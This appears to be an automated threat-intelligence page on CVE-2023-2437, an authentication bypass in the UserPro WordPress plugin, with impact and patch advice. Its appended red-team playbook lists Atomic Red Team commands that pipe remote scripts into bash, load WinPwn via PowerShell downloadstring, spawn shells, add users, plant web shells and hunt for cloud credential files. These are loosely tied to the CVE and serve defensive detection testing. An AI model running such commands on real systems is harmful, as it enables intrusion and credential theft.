CVE-2023-2437
Overview
This vulnerability is an authentication bypass caused by insufficient verification of the user identity during Facebook login integration within the UserPro WordPress plugin. The flaw arises from improper validation of the user parameter supplied during the social login process, specifically affecting the Facebook login feature. This allows the authentication mechanism to be circumvented by manipulating the user identification step within the plugin's login workflow.
Vulnerability Description
The UserPro plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.1.1. This is due to insufficient verification on the user being supplied during a Facebook login through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the email. An attacker can leverage CVE-2023-2448 and CVE-2023-2446 to get the user's email address to successfully exploit this vulnerability.
Impact
An unauthenticated attacker can leverage this flaw to log in as any existing user on the affected WordPress site, including administrators, by supplying a valid email address. No prior authentication or user interaction is required, and the attack can be performed remotely over the network. This enables unauthorized access to sensitive data, administrative functions, and potential full site compromise, as reflected by the CVSS vector indicating no privileges or user interaction needed (AV:N/AC:L/PR:N/UI:N).
Solution
Users of the UserPro WordPress plugin should upgrade to a version newer than 5.1.1 where this vulnerability is addressed. Detailed patch instructions and updates are available through the WordFence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/b3cf9f38-c20e-40dc-a7a1-65b0c6ba7925. No official workaround is documented; therefore, immediate upgrading is recommended to remediate the authentication bypass.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The UserPro plugin for WordPress has a critical vulnerability that allows for authentication bypass, particularly during the Facebook login process. This issue arises from inadequate verification of the user credentials supplied during authentication. When a user attempts to log in via Facebook, the plugin fails to properly validate the identity of the user, which means that an attacker can impersonate any existing user on the site, including those with elevated privileges such as administrators. The underlying flaw is rooted in the plugin's reliance on insufficient checks, making it possible for an attacker to exploit this weakness by merely possessing the email address of the targeted user.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage other vulnerabilities, such as those that expose user email addresses, to gather the necessary information for the attack. Once the attacker has the email address of a target, they can initiate a login attempt using the Facebook authentication feature of the UserPro plugin. If successful, the attacker gains unauthorized access to the victim's account, effectively bypassing any security measures that would typically prevent such access. This scenario highlights the interconnected nature of vulnerabilities, where one weakness can facilitate the exploitation of another, leading to a compounded risk for the affected system.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on the UserPro plugin for user management and authentication. Unauthorized access to user accounts can lead to data breaches, where sensitive information is exposed or manipulated. For instance, if an attacker gains access to an administrator's account, they could alter site content, delete user accounts, or even install malicious code. The potential for reputational damage, financial loss, and legal ramifications is high, especially if the compromised accounts belong to users with privileged access. Organizations may face regulatory scrutiny and loss of customer trust, which can have long-lasting effects on their operations.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating the UserPro plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, organizations should conduct routine security audits and penetration testing to identify and address potential weaknesses in their systems. Implementing strong access controls, such as two-factor authentication, can also help reduce the risk of unauthorized access. Monitoring user activity for suspicious behavior can provide an early warning of potential exploitation attempts, allowing organizations to respond swiftly to mitigate any damage.
In conclusion, the authentication bypass vulnerability in the UserPro plugin poses a serious threat to WordPress sites, particularly those with sensitive user data. The ease of exploitation, combined with the potential for significant real-world impact, underscores the importance of proactive security measures. By staying informed about vulnerabilities, implementing robust security practices, and fostering a culture of security awareness, organizations can better protect themselves against the risks associated with such vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-2437, coinciding with an upward revision of its CVSS score to 9.8, reflecting a reassessment of its criticality. This change underscores the vulnerability’s increased potential for widespread impact due to its authentication bypass nature combined with the ease of leveraging related vulnerabilities to obtain user email addresses. Our telemetry indicates that adversaries are actively incorporating this exploit into their toolsets, elevating the risk of unauthorized administrative access on affected WordPress sites. The elevated EPSS score, now in the 99th percentile, confirms a sustained likelihood of exploitation in the wild, reinforcing the urgency for defenders to prioritize monitoring and detection efforts. This shift in the threat landscape signifies a heightened threat level, moving CVE-2023-2437 from a high to a critical priority within vulnerability management frameworks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Userproplugin | Userpro | All |
cpe:2.3:a:userproplugin:userpro:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PoC
|
- | 0 | 0 | - | View |
|
RxRCoder/CVE-2023-2437
|
RxRCoder | 0 | 0 | 2024-03-02 | View |
Threat Feed
2 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2437 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/b3cf9f38-c20e-40dc-a7a1-65b0c6ba7925?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175871/WordPress-UserPro-5.1.x-Password-Reset-Authentication-Bypass-Escalation.html |